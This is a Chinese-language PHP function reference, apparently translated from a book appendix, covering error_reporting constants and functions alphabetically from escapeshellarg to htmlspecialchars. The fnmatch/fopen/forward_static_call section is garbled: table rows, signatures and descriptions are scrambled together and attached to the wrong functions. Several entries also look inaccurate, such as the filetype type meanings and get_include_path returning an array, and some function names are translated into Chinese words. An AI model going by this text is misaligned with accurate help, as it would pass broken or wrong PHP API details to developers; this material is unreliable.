E_STRICT 指示 PHP 建议代码更改以帮助实现向前兼容性
E_RECOVERABLE_ERROR 如果发生潜在致命错误,并且已被捕获并正确处理,则代码可以继续执行
E_DEPRECATED 如果启用,将发出有关即将无法正常工作的弃用代码的警告
E_USER_DEPRECATED 如果启用,通过 trigger_error() 函数可以生成任何由弃用代码触发的警告消息
E_ALL 所有上述选项

这些选项可以使用位运算 OR(|)组合在一起,以便报告每个级别的错误。例如,以下代码关闭用户错误和警告,执行一些操作,然后恢复原始级别:

<$level = error_reporting();
 error_reporting($level & ~(E_USER_ERROR | E_USER_WARNING));
 // do some stuff
 error_reporting($level);>

string escapeshellarg(string argument)

string escapeshellarg(string argument)

适当地转义 argument,使其可以作为 shell 函数的安全参数使用。当直接将用户输入(例如来自表单)传递给 shell 命令时,应使用此函数来转义数据,以确保参数不构成安全风险。

escapeshellcmd

string escapeshellcmd(string command)

command 中可能导致 shell 运行额外命令的字符进行转义。当直接将用户输入(例如来自表单)传递给 exec()system() 函数时,应使用此函数来转义数据,以确保参数不构成安全风险。

exec

string exec(string command[, array output[, int return]])

通过 shell 执行 command 并返回命令结果的最后一行输出。如果指定了 output,则用命令返回的行填充它。如果指定了 return,则设置为命令的返回状态。

如果想要将命令输出的结果嵌入到 PHP 页面中,请使用 passthru()

exp

float exp(float number)

返回 numbere 次幂。

explode

array explode(string separator, string string[, int limit])

返回由在 separator 处找到的 string 拆分而成的子字符串数组。如果提供了 limit,则最多返回 limit 个子字符串,最后一个子字符串包含剩余的字符串。如果未找到 separator,则返回原始字符串。

expm1

float expm1(float number)

返回 exp(number) – 1,计算使得即使 number 接近 0,返回值也准确的结果。

extension_loaded

bool extension_loaded(string name)

如果加载了 name 扩展,返回 true,否则返回 false

extract

int extract(array array[, int type[, string prefix]])

将变量的值设置为来自数组元素的值。对于数组中的每个元素,使用其键来确定要设置的变量名,并将该变量设置为元素的值。

如果数组中的值与本地作用域中已存在的变量同名,给定的第二个参数可以取以下任一值以确定行为:

EXTR_OVERWRITE(默认) 覆盖现有变量
EXTR_SKIP 不覆盖现有变量(忽略数组中提供的值)
EXTR_PREFIX_SAME 使用作为第三个参数给出的字符串前缀变量名
EXTR_PREFIX_ALL 使用作为第三个参数给出的字符串前缀所有变量名
EXTR_PREFIX_INVALID 使用作为第三个参数给出的字符串前缀任何无效或数值变量名
EXTR_IF_EXISTS 仅在当前符号表中存在变量时替换变量
EXTR_PREFIX_IF_EXISTS 仅在同一变量的非前缀版本存在时创建带有前缀的变量名
EXTR_REFS 提取变量作为引用

函数返回成功设置的变量数。

关闭文件

bool fclose(int handle )

关闭handle引用的文件;如果成功,则返回true,如果不成功,则返回false

feof

bool feof(int handle )

如果handle引用的文件的标记位于文件末尾(EOF)或发生错误时,则返回true。如果标记不在 EOF,则返回false

刷新

bool fflush(int handle )

将对handle引用的文件的任何更改提交到磁盘,确保文件内容在磁盘上而不仅仅在磁盘缓冲区中。如果操作成功,则函数返回true;否则,返回false

fgetc

string fgetc(int handle )

返回由handle引用的文件标记处的字符,并将标记移动到下一个字符。如果标记位于文件末尾,则函数返回false

fgetcsv

array fgetcsv(resource handle [, int length [, string delimiter [, string enclosure [, string escape ]]]])

从被handle引用的文件中读取下一行,并将该行解析为逗号分隔的值(CSV)行。要读取的最长行由length给出。如果提供了delimiter,则用其作为行中的值的分隔符,而不是逗号。如果提供了enclosure,则用单个字符作为值的封闭符(默认为双引号字符,")。escape设置要使用的转义字符;默认为反斜杠\;只能指定一个字符。例如,要读取并显示包含制表符分隔值的文件中的所有行,请使用:

$fp = fopen("somefile.tab", "r");

while($line = fgetcsv($fp, 1024, "\t")) {
 print "<p>" . count($line) . "fields:</p>";
 print_r($line);
}
fclose($fp);

获取文件行

string fgets(resource handle [, int length ])

从被handle引用的文件中读取一个字符串;返回最多length个字符的字符串,但读取会在length − 1(用于换行字符)个字符处、换行字符处或 EOF 处结束。如果发生任何错误,则返回false

fgetss

string fgetss(resource handle [, int length [, string tags ]])

从被handle引用的文件中读取一个字符串;返回最多length个字符的字符串,但读取会在length − 1(用于换行字符)个字符处、换行字符处或 EOF 处结束。返回字符串之前,将其中的任何 PHP 和 HTML 标签(除tags中列出的标签外)剥离。如果发生任何错误,则返回false

文件

array file(string filename[, int flags [, resource context]])

文件读入数组中。flags可以是以下常量之一或多个:

FILE_USE_INCLUDE_PATH php.ini文件中设置的包含路径中搜索文件
FILE_IGNORE_NEW_LINES 不在数组元素末尾添加换行符
FILE_SKIP_EMPTY_LINES 跳过任何空行

file_exists

bool file_exists(string path)

如果path处的文件存在,则返回true,否则返回false

fileatime

int fileatime(string path)

返回文件path的最后访问时间,作为 Unix 时间戳值。由于从文件系统检索此信息的成本,此信息已缓存;您可以使用clearstatcache()清除缓存。

filectime

int filectime(string path)

返回path处文件的 inode 更改时间值。由于从文件系统检索此信息的成本,此信息已缓存;您可以使用clearstatcache()清除缓存。

file_get_contents

string file_get_contents(string path[, bool include [, resource context [, int offset [, int maxlen]]]])

读取path处的文件,并将其内容作为字符串返回,可选从offset开始。如果指定了include并且为true,则在包含路径中搜索文件。还可以使用maxlen参数控制返回字符串的长度。

filegroup

int filegroup(string path)

返回path处文件的拥有组 ID。由于从文件系统检索此信息的成本,此信息已缓存;您可以使用clearstatcache()清除缓存。

fileinode

int fileinode(string path)

返回path处文件的 inode 编号,如果出现错误则返回false。此信息已缓存;参见clearstatcache

filemtime

int filemtime(string path)

返回文件path的最后修改时间,作为 Unix 时间戳值。此信息已缓存;您可以使用clearstatcache()清除缓存。

fileowner

int fileowner(string path)

返回path处文件的所有者用户 ID,如果出现错误则返回false。此信息已缓存;您可以使用clearstatcache()清除缓存。

fileperms

int fileperms(string path)

返回文件path的文件权限,如果出现错误则返回false。此信息已缓存;您可以使用clearstatcache()清除缓存。

file_put_contents

int file_put_contents(string path, mixed string [, int flags[, resource context]])

打开由path指定的文件,将string写入文件,然后关闭文件。返回写入文件的字节数,如果发生错误则返回−1flags参数是一个具有两个可能值的位字段:

FILE_USE_INCLUDE_PATH 如果指定,则在包含路径中搜索文件,并将文件写入其已存在的第一个位置
FILE_APPEND 如果指定并且由path指示的文件已经存在,则string将附加到文件的现有内容中
LOCK_EX 在写入文件之前独占锁定文件

filesize

int filesize(string path)

返回path指定的文件的大小(以字节为单位)。如果文件不存在或出现任何其他错误,则函数返回false。此信息被缓存;可以使用clearstatcache()清除缓存。

filetype

string filetype(string path)

返回给定path中的文件类型。可能的类型有:

Fifo 文件是一个 FIFO 管道
Char 文件是一个文本文件
Dir path是一个目录
Block 由文件系统保留的块
Link 文件是一个符号链接
File 文件包含二进制数据
Socket 一个套接字接口
Unknown 无法确定文件类型

filter_has_var

bool filter_has_var(int context, string name)

如果指定的context中存在名为name的值,则返回true,否则返回falsecontext可以是INPUT_GETINPUT_POSTINPUT_COOKIEINPUT_SERVERINPUT_ENV之一。

filter_id

int filter_id(string name)

返回由name标识的过滤器的 ID,如果没有这样的过滤器,则返回false

filter_input

mixed filter_input(mixed var[, int filter_id[, mixed options]])

在给定的context中对var执行由 ID filter_id标识的过滤器,并返回结果。context可以是INPUT_GETINPUT_POSTINPUT_COOKIEINPUT_SERVERINPUT_ENV之一。如果未指定filter_id,则使用默认过滤器。options参数可以是适用于过滤器的标志位字段或适当的选项的关联数组。有关使用过滤器的更多信息,请参见第四章。

filter_input_array

mixed filter_input_array(array variables[, mixed filters])

对关联数组variables中的变量执行一系列过滤器,并将结果作为关联数组返回。context可以是INPUT_GETINPUT_POSTINPUT_COOKIEINPUT_SERVERINPUT_ENV之一。

可选参数是一个关联数组,其中每个元素的键是变量名,关联值定义了要使用的过滤器及其选项以过滤该变量值。定义可以是要使用的过滤器的 ID 或包含以下一个或多个元素的数组:

filter 要应用的过滤器的 ID
flags 一个标志位字段
options 一个与过滤器特定选项相关的关联数组

filter_list

array filter_list()

返回每个可用过滤器的名称的数组;这些名称可以传递给filter_id()以获取用于其他过滤函数中使用的过滤器 ID。

filter_var

mixed filter_var(mixed var[, int filter_id[, mixed options]])

var执行由 ID filter_id标识的过滤器,并返回结果。如果未指定filter_id,则使用默认过滤器。options参数可以是标志位组或适用于过滤器的关联数组选项。有关使用过滤器的更多信息,请参见第四章。

filter_var_array

mixed filter_var_array(mixed var[, mixed options])

对指定上下文中的变量执行一系列过滤器,并将结果作为关联数组返回。上下文是INPUT_GETINPUT_POSTINPUT_COOKIEINPUT_SERVERINPUT_ENV之一。

options参数是一个关联数组,其中每个元素的键是变量名,关联的值定义了要用于过滤该变量值的过滤器和选项。定义可以是要使用的过滤器 ID,也可以是一个包含以下一个或多个元素的数组:

filter 应用的过滤器 ID
flags 标志位的位域
options 特定于过滤器的选项的关联数组

floatval

float floatval(mixed value)

返回value的浮点数值。如果 value 是非标量(对象或数组),则返回1

flock

bool flock(resource handle, int operation[, int would_block])

尝试锁定由handle指定的文件路径。操作是以下值之一:

LOCK_SH 共享锁(读者)
LOCK_EX 独占锁(写者)
LOCK_UN 释放锁定(共享或独占)
LOCK_NB LOCK_SHLOCK_EX添加到获取非阻塞锁

如果指定,如果操作将导致文件阻塞,则would_block设置为true。如果无法获取锁定,则函数返回false,如果操作成功,则返回true

因为大多数系统在进程级别实现文件锁定,所以flock()无法阻止同一 Web 服务器进程中运行的两个 PHP 脚本同时访问文件。

floor

float floor(float number)

返回小于或等于number的最大整数值。

flush

void flush()

将当前输出缓冲区发送给客户端并清空输出缓冲区。有关使用输出缓冲区的更多信息,请参见第十五章。

fmod

float fmod(float x, float y)

返回x除以y的浮点数模数。

fnmatch

bool fnmatch(string pattern, string string[, int flags])

如果stringpattern中给出的 shell 通配符模式匹配,则返回true。有关匹配规则,请参见glob。flags 值是以下任何一个的按位 OR:

FNM_NOESCAPE pattern中的反斜杠视为反斜杠,而不是转义序列的开始
FNM_PATHNAME string中的斜杠字符必须与pattern中的斜杠显式匹配
打开由path指定的文件,并返回指向打开文件的文件资源句柄。如果pathhttp://开头,则打开一个 HTTP 连接并返回响应起始处的文件指针。如果pathftp://开头,则打开 FTP 连接并返回文件起始处的文件指针;远程服务器必须支持被动 FTP。
forward_static_call

| w | 仅打开文件进行写入。如果文件存在,则将其截断为零长度;如果文件不存在,则创建该文件。 |

调用function指定的静态方法,并传递提供的参数。如果function包含类名,则使用延迟静态绑定来找到方法的适当类。返回函数返回的值。

resource fopen(string path, string mode[, bool include [, resource context]])

| FNM_CASEFOLD | 在将stringpattern匹配时忽略大小写。 |

| a+ | 以读写方式打开文件。如果文件存在,则文件指针将位于文件末尾;如果文件不存在,则创建该文件。 |

如果尝试打开文件时发生任何错误,则返回false
a
x
如果指定了include并且为truefopen()会尝试在当前include路径中定位文件。
fopen
r+
如果pathphp://stdinphp://stdoutphp://stderr,则返回适当流的文件指针。
参数mode指定打开文件的权限。必须是以下之一:
FNM_PERIOD
mixed forward_static_call_array(callable function, array parameters)

| c | 仅打开文件进行写入。如果文件不存在,则创建该文件。如果文件存在,则不截断(与w不同),也不会调用失败(与x不同)。文件指针定位在文件开头。 |

| x+ | 创建并以读写方式打开文件。 |

forward_static_call_array

mixed forward_static_call(callable function[, mixed parameter1[, ... mixed parameterN]])

调用当前对象上下文中名为function的函数,并使用提供的参数。如果function包含类名,则使用延迟静态绑定来找到方法的适当类。返回函数返回的值。

| w+ | 以读写方式打开文件。如果文件存在,将截断为零长度;如果文件不存在,则创建该文件。文件指针从文件开头开始。 |

| r | 以读取方式打开文件;文件指针将位于文件开头。 |

在当前对象的上下文中调用名为function的函数,并使用数组parameters中的参数。如果function包括类名,则使用延迟静态绑定查找方法的适当类。返回函数返回的值。

fpassthru

int fpassthru(resource handle)

输出指向的文件,并关闭文件句柄。文件从当前文件指针位置输出直到文件结束。如果发生任何错误,返回false;如果操作成功,返回true

fprintf

int fprintf(resource handle, string format[, mixed value1[, ... valueN]])

将使用给定参数填充format的字符串写入流资源handle。有关如何使用此函数的更多信息,请参见printf()

fputcsv

int fputcsv(resource handle[, array fields[, string delimiter[, string enclosure]]])

以逗号分隔值(CSV)格式格式化fields中包含的项目,并将结果写入文件句柄handle。如果提供delimiter,则使用单个字符代替逗号分隔行中的值。如果提供enclosure,则使用单个字符将值括起来(默认为双引号字符")。返回写入的字符串长度,如果失败则返回false

fread

string fread(int handle, int length)

从文件句柄handle引用的文件中读取length字节并将它们作为字符串返回。如果在到达 EOF 之前可用的字节数少于length,则返回直到 EOF 的字节。

fscanf

mixed fscanf(resource handle, string format[, string name1[, ... string nameN]])

从文件句柄handle引用的文件中读取数据并根据format返回一个值。有关如何使用此函数的更多信息,请参见sscanf

如果未提供可选参数name1nameN,则从文件中扫描的值将作为数组返回;否则,它们将放入由name1nameN命名的变量中。

fseek

int fseek(resource handle, int offset[, int from])

将文件句柄handle中的文件指针移动到offset字节处。如果指定了from,它确定如何移动文件指针。from必须是以下值之一:

SEEK_SET 将文件指针设置为字节offset(默认)
SEEK_CUR 将文件指针设置为当前位置加上offset字节
SEEK_END 将文件指针设置为 EOF 减去offset字节处

如果函数成功,则此函数返回0,如果操作失败,则返回−1

fsockopen

resource fsockopen(string host, int port[, int error[, string message[, float timeout]]])

打开到远程host在特定port上的 TCP 或 UDP 连接。默认使用 TCP;要通过 UDP 连接,host必须以协议udp://开头。如果指定timeout,则指示超时前等待的时间长度(以秒为单位)。

如果连接成功,将返回一个虚拟文件指针,可以与fgets()fputs()等函数一起使用。如果连接失败,则返回false。如果提供了errormessage,它们将分别设置为错误编号和错误字符串。

fstat

array fstat(resource handle)

返回关于handle引用的文件的信息的关联数组。数组包含以下值(以其数值和键索引形式给出):

dev (0) 文件所在设备
ino (1) 文件的 inode
mode (2) 文件打开的模式
nlink (3) 指向此文件的硬链接数
uid (4) 文件所有者的用户 ID
gid (5) 文件所有者的组 ID
rdev (6) 设备类型(如果文件在 inode 设备上)
size (7) 文件大小(字节为单位)
atime (8) 上次访问时间(Unix 时间戳格式)
mtime (9) 上次修改时间(Unix 时间戳格式)
ctime (10) 文件创建时间(Unix 时间戳格式)
blksize (11) 文件系统的块大小(以字节为单位)
blocks (12) 分配给文件的块数

ftell

int ftell(resource handle)

返回handle引用的文件的字节偏移量。如果发生错误,则返回false

ftruncate

bool ftruncate(resource handle, int length)

handle引用的文件截断为length字节。如果操作成功,则返回true,否则返回false

func_get_arg

mixed func_get_arg(int index)

返回函数参数数组中的index元素。如果在函数外调用,或者index大于参数数组中的参数数量,func_get_arg()会生成警告并返回false

func_get_args

array func_get_args()

返回作为索引数组给定给函数的参数数组。如果在函数外调用,func_get_args()返回false并生成警告。

func_num_args

int func_num_args()

返回传递给当前用户定义函数的参数数目。如果在函数外调用,func_num_args()返回false并生成警告。

function_exists

bool function_exists(string function)

如果已定义具有function名称的函数(检查用户定义和内置函数),则返回true,否则返回false。检查匹配函数时不区分大小写。

fwrite

int fwrite(resource handle, string string[, int length])

handle引用的文件写入string。文件必须以写权限打开。如果给定了length,则只写入字符串的指定字节数。返回写入的字节数,或者在错误时返回−1

gc_collect_cycles

int gc_collect_cycles()

执行一次垃圾回收循环,并返回释放的引用数。如果当前未启用垃圾回收,则不执行任何操作。

gc_disable

void gc_disable()

禁用垃圾收集器。如果垃圾收集器已启用,则在禁用之前进行垃圾回收。

gc_enable

void gc_enable()

启用垃圾收集器;通常只有运行时间非常长的脚本才能从垃圾收集器中受益。

gc_enabled

bool gc_enabled()

如果当前垃圾收集器启用,则返回 true,如果禁用则返回 false

get_browser

mixed get_browser([string name[, bool return_array]])

返回一个包含用户当前浏览器信息的对象,从 $HTTP_USER_AGENT 中获取,或从用户代理 name 识别的浏览器。信息从 browscap.ini 文件获取。浏览器的版本和各种能力(如是否支持框架、cookie 等)以对象形式返回。如果 return_arraytrue,则返回一个数组而不是对象。

get_called_class

string get_called_class()

返回通过后期静态绑定调用静态方法的类名,或者如果在类静态方法外部调用,则返回 false

get_cfg_var

string get_cfg_var(string name)

返回 PHP 配置变量 name 的值。如果 name 不存在,get_cfg_var() 返回 false。只返回配置文件中设置的变量,如cfg_file_path()所返回的;编译时设置和 Apache 配置文件变量不会返回。

get_class

string get_class(object object)

返回给定对象的类名。类名以小写字符串形式返回。如果 object 不是对象,则返回 false

get_class_methods

array get_class_methods(mixed class)

如果参数是字符串,则返回包含指定 class 的每个方法名的数组。如果参数是对象,则返回该对象所属类中定义的方法。

get_class_vars

array get_class_vars(string class)

返回给定 class 的默认属性的关联数组。对于每个属性,数组中添加一个键为属性名、值为默认值的元素。不返回没有默认值的属性。

get_current_user

string get_current_user()

返回当前 PHP 脚本执行的用户特权下的用户名称。

get_declared_classes

array get_declared_classes()

返回一个包含每个定义类名的数组。包括 PHP 当前加载的扩展中定义的任何类。

get_declared_interfaces

array get_declared_interfaces()

返回包含每个已声明接口名称的数组。这包括当前加载的 PHP 扩展和内置接口中声明的任何接口。

get_declared_traits

array get_declared_traits()

返回包含每个已定义特性名称的数组。这包括当前加载的 PHP 扩展中定义的任何特性。

get_defined_constants

array get_defined_constants([bool categories])

返回一个关联数组,其中包含由扩展和define()函数定义的所有常量及其值。如果设置了categories并且为true,则关联数组包含子数组,每个子数组对应一个常量类别。

get_defined_functions

array get_defined_functions()

返回一个包含每个已定义函数名称的数组。返回的数组是一个关联数组,包括两个键,internaluser。第一个键的值是一个包含所有内部 PHP 函数名称的数组;第二个键的值是一个包含所有用户定义函数名称的数组。

get_defined_vars

array get_defined_vars()

返回在环境、服务器、全局和局部范围内定义的所有变量的数组。

get_extension_funcs

array get_extension_funcs(string name)

返回由name指定的扩展提供的函数数组。

get_headers

array get_headers(string url[, int format])

返回由远程服务器发送到给定url页面的标头数组。如果format0或未设置,则以简单数组形式返回标头,数组中的每个条目对应一个标头。如果设置并且为1,则返回一个关联数组,键和值对应标头字段。

get_html_translation_table

array get_html_translation_table([int which[, int style[, string encoding]]])

返回htmlspecialchars()htmlentities()使用的转换表。如果whichHTML_ENTITIES,则返回htmlentities()使用的表;如果whichHTML_SPECIALCHARS,则返回htmlspecialchars()使用的表。可选地,您可以指定希望返回的引号样式;可能的值与转换函数中的值相同:

ENT_COMPAT(默认) 转换双引号,但不转换单引号
ENT_NOQUOTES 不转换单引号和双引号
ENT_QUOTES 转换单引号和双引号
ENT_HTML401 HTML 4.01 实体表
ENT_XML1 XML 1 实体表
ENT_XHTML XHTML 实体表
ENT_HTML5 HTML 5 实体表

可选的encoding参数具有以下可能的选择:

ISO-8859-1 西欧,拉丁-1。
ISO-8859-5 西里尔字符集(拉丁/西里尔文),很少使用。
ISO-8859-15 西欧,拉丁-9。添加欧元符号,拉丁-1 中缺少的法国和芬兰字母。
UTF-8 兼容 ASCII 的多字节 8 位 Unicode。
cp866 DOS 特定的西里尔字符集。
cp1251 用于 Windows 的特定西里尔字符集。
cp1252 用于西欧的 Windows 特定字符集。
KOI8-R 俄语。
BIG5 主要用于台湾的繁体中文。
GB2312 简体中文,国家标准字符集。
BIG5-HKSCS 带香港扩展的 Big5,繁体中文。
Shift_JIS 日语。
EUC-JP 日语。
MacRoman macOS 使用的字符集。
"" 空字符串激活脚本编码(Zend 多字节)、default_charset和当前语言环境的检测顺序。不建议使用。

get_included_files

array get_included_files()

返回通过include()include_once()require()require_once()包含到当前脚本中的文件数组。

get_include_path

string get_include_path()

返回包含 include 路径配置选项值的数组,提供包含路径位置列表。如果要将返回的值拆分为单独的条目,请确保使用PATH_SEPARATOR常量进行分割,该常量为 Unix 和 Windows 编译分别设置:

$paths = split(PATH_SEPARATOR, get_include_path());

get_loaded_extensions

array get_loaded_extensions([ bool *zend_extensions* ])

返回一个包含编译并加载到 PHP 中的每个扩展的名称的数组。如果zend_extensions选项为true,则仅返回 Zend 扩展;默认为false

get_meta_tags

array get_meta_tags(string *path* [, int *include* ])

解析文件path并提取其定位的 HTML meta 标签。返回一个关联数组,其中键是 meta 标签的name属性,值是标签的适当值。无论原始属性的大小写如何,键都是小写的。如果指定了include并且为true,函数将在包含路径中搜索path

getmygid

int getmygid()

返回当前脚本执行的 PHP 进程的组 ID。如果无法确定组 ID,则返回false

getmyuid

int getmyuid()

返回当前脚本执行的 PHP 进程的用户 ID。如果无法确定用户 ID,则返回false

get_object_vars

array get_object_vars(object *object* )

返回给定object的属性的关联数组。对于每个属性,将添加一个具有属性名称键和当前值值的元素到数组中。不返回没有当前值的属性,即使它们在类中定义了。

get_parent_class

string get_parent_class(mixed *object* )

返回给定object的父类名称。如果对象不继承自其他类,则返回空字符串。

get_resource_type

string get_resource_type(resource *handle* )

返回表示指定资源handle类型的字符串。如果handle不是有效的资源,则函数生成错误并返回false。可用资源类型取决于加载的扩展,但包括filemysql link等。

getcwd

string getcwd()

返回 PHP 进程当前工作目录的路径。

getdate

array getdate([int timestamp])

返回包含给定timestamp时间和日期各个组件值的关联数组。如果没有给出timestamp,则使用当前日期和时间。这是date()函数的变体。数组包含以下键和值:

seconds
minutes 分钟
hours 小时
mday 月份中的日期
wday 数字星期几(星期日为0
mon 月份
year 年份
yday 年份中的日期
weekday 星期几的名称(星期日到星期六)
month 月份(一月到十二月)的名称

getenv

string getenv(string name)

返回环境变量name的值。如果name不存在,则getenv()返回false

gethostbyaddr

string gethostbyaddr(string address)

返回具有 IP 地址address的机器的主机名。如果找不到这样的地址或address不解析为主机名,则返回address

gethostbyname

string gethostbyname(string host)

返回host的 IP 地址。如果没有这样的主机,则返回host

gethostbynamel

array gethostbynamel(string host)

返回host的 IP 地址数组。如果没有这样的主机,则返回false

gethostname

string gethostname()

返回运行当前脚本的机器的主机名。

getlastmod

int getlastmod()

返回包含当前脚本所在文件的最后修改日期的 Unix 时间戳值。如果在检索信息时发生错误,则返回false

getmxrr

bool getmxrr(string host, array &hosts[, array &weights])

搜索所有邮件交换器(MX)记录的 DNS host。结果放入数组hosts中。如果提供了权重,每个 MX 记录的权重放入weights中。如果找到任何记录,则返回true,如果没有找到则返回false

getmyinode

int getmyinode()

返回包含当前脚本的文件的 inode 值。如果发生错误,则返回false

getmypid

int getmypid()

返回执行当前脚本的 PHP 进程的进程 ID。当 PHP 作为服务器模块运行时,可能有多个脚本共享相同的进程 ID,因此不一定是唯一的数字。

getopt

array getopt(string short_options[, array long_options])

解析用于调用当前脚本的命令行参数列表,并返回可选名称/值对的关联数组。short_optionslong_options参数定义要解析的命令行参数。

参数 short_options 是一个字符串,每个字符表示通过单破折号传递到脚本的单个参数。例如,短选项字符串"ar"匹配命令行参数-a -r。任何后跟一个冒号:的字符需要匹配一个值,而后跟两个冒号::的字符则可选择包含一个值进行匹配。例如,"a:r::x"可以匹配命令行参数-aTest -r -x,但不会匹配-a -r -x

参数long_options是一个字符串数组,每个元素表示通过双破折号传递到脚本的单个参数。例如,元素"verbose"匹配命令行参数--verboselong_options参数中指定的所有参数都可以选择与通过等号与选项名称分隔的命令行中的值匹配。例如,"verbose"将匹配--verbose--verbose=1

获取由名称指定的协议。

int getprotobyname(string name)

返回/etc/protocols中与name关联的协议号。

获取由协议号指定的协议。

string getprotobynumber(int protocol)

返回/etc/protocols中与protocol关联的协议名称。

获取最大可能返回的值。

int getrandmax()

返回由rand()返回的最大值。

获取资源使用情况。

array getrusage([int who])

返回一个关联数组,描述当前脚本运行的进程正在使用的资源信息。如果指定了 who,并且等于1,则返回有关进程子级的信息。有关键和值描述的列表可以在 Unix 命令getrusage(2)下找到。

获取由名称指定的服务。

int getservbyname(string service, string protocol)

返回/etc/services中与service关联的端口。protocol必须是 TCP 或 UDP。

获取由端口和协议指定的服务。

string getservbyport(int port, string protocol)

返回/etc/services中与portprotocol关联的服务名称。protocol必须是 TCP 或 UDP。

获取当前时间。

mixed gettimeofday([ bool return_float])

返回一个包含有关当前时间的信息的关联数组,通过gettimeofday(2)获取。当设置return_floattrue时,将返回一个浮点数而不是数组。

数组包含以下键和值:

sec 自 Unix 时代以来的当前秒数
usec 添加到秒数的当前微秒数
minuteswest 当前时区比格林威治西的分钟数
dsttime 应用夏令时修正的类型(在适当的时间年份,如果时区遵循夏令时,则为正数)

获取类型。

string gettype(mixed value)

返回value类型的字符串描述。value的可能值为"boolean""integer""float""string""array""object""resource""NULL""unknown type"

全局模式匹配。

globarray(string pattern[, int flags])

返回符合给定pattern的 shell 通配符模式的文件名列表。以下字符和序列进行匹配:

* 匹配任意数量的任意字符(等同于正则表达式模式 .*
? 匹配任意一个字符(等同于正则表达式模式 .

例如,要处理特定目录中的每个 JPEG 文件,您可以编写:

foreach(glob("/tmp/images/*.jpg") as $filename) {
 // do something with $filename
}

flags值是以下任意值的按位 OR:

GLOB_MARK 对返回的每个项添加斜杠
GLOB_NOSORT 返回的文件与目录中的顺序相同。如果未指定,则按 ASCII 值排序名称
GLOB_NOCHECK 如果未找到匹配pattern的文件,则返回pattern
GLOB_NOESCAPE pattern中的反斜杠视为反斜杠,而不是作为转义序列的开始
GLOB_BRACE 除了正常匹配外,形如{foo, bar, baz}的字符串也匹配"foo""bar""baz"
GLOB_ONLYDIR 仅返回匹配pattern的目录
GLOB_ERR 在读取错误时停止

gmdate

string gmdate(string format[, int timestamp])

返回一个时间戳日期和时间的格式化字符串。与date()相同,但它始终使用格林威治标准时间(GMT),而不是本地机器上指定的时区。

gmmktime

int gmmktime(int hour, int minutes, int seconds, int month, int day, int year, int is_dst)

从提供的值集合返回一个时间戳日期和时间值。与mktime()相同,但这些值代表的是 GMT 时间和日期,而不是本地时区的时间。

gmstrftime

string gmstrftime(string format[, int timestamp])

格式化 GMT 时间戳。查看strftime获取更多关于如何使用该函数的信息。

hash

string hash(string algorithm, string data [, bool output])

根据给定的算法生成提供的数据的哈希值。当output设置为true时,默认为false;返回的哈希值是原始二进制数据。算法的值可以是md5sha1sha256等。查看hash_algos获取更多算法信息。

hash_algos

array hash_algos(void)

返回所有支持的哈希算法的数字索引数组。

hash_file

string hash_file(string algorithm, string filename [, bool output])

根据给定的算法filename(文件位置的 URL)的内容上生成哈希值字符串。当output设置为true时,默认为false;返回的哈希值是原始二进制数据。算法的值可以是md5sha1sha256等。

头部

void header(string header[, bool replace [, int http_response_code]])

header作为原始 HTTP 头字符串发送;必须在生成任何输出之前调用(包括空行——这是一个常见错误)。如果headerLocation头,则 PHP 还会生成适当的REDIRECT状态码。如果指定了replace且为false,则该头部不会替换同名头部;否则,该头部将替换同名头部。

header_remove

void header_remove([string header])

如果指定了header,则从当前响应中删除名为header的 HTTP 头。如果未指定header或为一个空字符串,则从当前响应中删除header()函数生成的所有头部。请注意,如果头部已发送到客户端,则无法删除。

headers_list

array headers_list()

返回已准备发送(或已发送)到客户端的 HTTP 响应头的数组。

headers_sent

bool headers_sent([ string &file [, int &line]])

如果 HTTP 头已发送,则返回true。如果尚未发送,则函数返回false。如果提供了fileline选项,则将输出开始的文件名和行号放置在fileline变量中。

hebrev

string hebrev(string string[, int size])

将逻辑希伯来文本string转换为视觉希伯来文本。如果指定第二个参数,每行的字符数不超过size个字符;函数尝试避免断开单词。

hex2bin

string hex2bin(string hex)

十六进制转换为其二进制值。

hexdec

number hexdec(string hex)

十六进制转换为其十进制值。可转换为 32 位数字,即 2,147,483,647 十进制(0x7FFFFFFF 十六进制)。

highlight_file

mixed highlight_file(string filename [, bool return])

使用 PHP 内置的语法高亮器打印filename的语法着色版本。如果filename存在且为 PHP 源文件,则返回true;否则返回false。如果returntrue,则高亮代码作为字符串返回,而不是发送到输出设备。

highlight_string

mixed highlight_string(string source [, bool return])

使用 PHP 内置的语法高亮器打印字符串source的语法着色版本。如果成功,则返回true;否则返回false。如果returntrue,则高亮代码作为字符串返回,而不是发送到输出设备。

hrtime

mixed hrtime([bool get_as_number])

将系统的高分辨率时间作为数组返回,从任意时间点开始计算。交付的时间戳是单调的,不可调整。get_as_number返回数组(false)或数字(true);默认为false

htmlentities

string htmlentities(string string[, int style[, string encoding [, bool double_encode]]])

转换string中所有在 HTML 中具有特殊含义的字符,并返回结果字符串。转换所有 HTML 标准中定义的实体。如果提供了style,则确定引号翻译的方式。style的可能取值包括:

ENT_COMPAT(默认) 转换双引号,但不转换单引号
ENT_NOQUOTES 不转换双引号或单引号
ENT_QUOTES 转换双引号和单引号
ENT_SUBSTITUTE 用 Unicode 替换字符替换无效的代码单元序列
ENT_DISALLOWED 替换给定文档类型的无效代码点为 Unicode 替换字符
ENT_HTML401 将代码视为 HTML 4.01 处理
ENT_XML1 将代码视为 XML 1 处理
ENT_XHTML 将代码视为 XHTML 处理
ENT_HTML5 将代码视为 HTML 5 处理

如果提供了encoding,则确定字符的最终编码方式。encoding的可能取值包括:

ISO-8859-1 西欧、拉丁-1
ISO-8859-5 西里尔文字符集(拉丁/西里尔文),很少使用
ISO-8859-15 西欧、拉丁-9。增加了欧元符号、法语和芬兰语中拉丁-1 中缺失的字符。
UTF-8 兼容 ASCII 的多字节 8 位 Unicode
cp866 DOS 特定的西里尔文字符集
cp1251 Windows 特定的西里尔文字符集
cp1252 西欧 Windows 特定字符集
KOI8-R 俄语
BIG5 主要用于台湾的繁体中文
GB2312 简体中文,国家标准字符集
BIG5-HKSCS 带有香港扩展的 Big5,繁体中文
Shift_JIS 日语
EUC-JP 日语
MacRoman Mac OS 使用的字符集
"" 空字符串会依次从脚本编码(Zend 多字节)、default_charset和当前区域设置中进行检测。不推荐使用。

html_entity_decode

string html_entity_decode(string string[, int style[, string encoding]])

string中所有 HTML 实体转换为等效字符。转换所有 HTML 标准中定义的实体。如果提供了style,则确定引号翻译的方式。style的可能取值与htmlentities相同。

如果提供了encoding,则确定字符的最终编码方式。encoding的可能取值与htmlentities相同。

htmlspecialchars

string htmlspecialchars(string string[, int style[, string encoding[, bool double_encode]]])

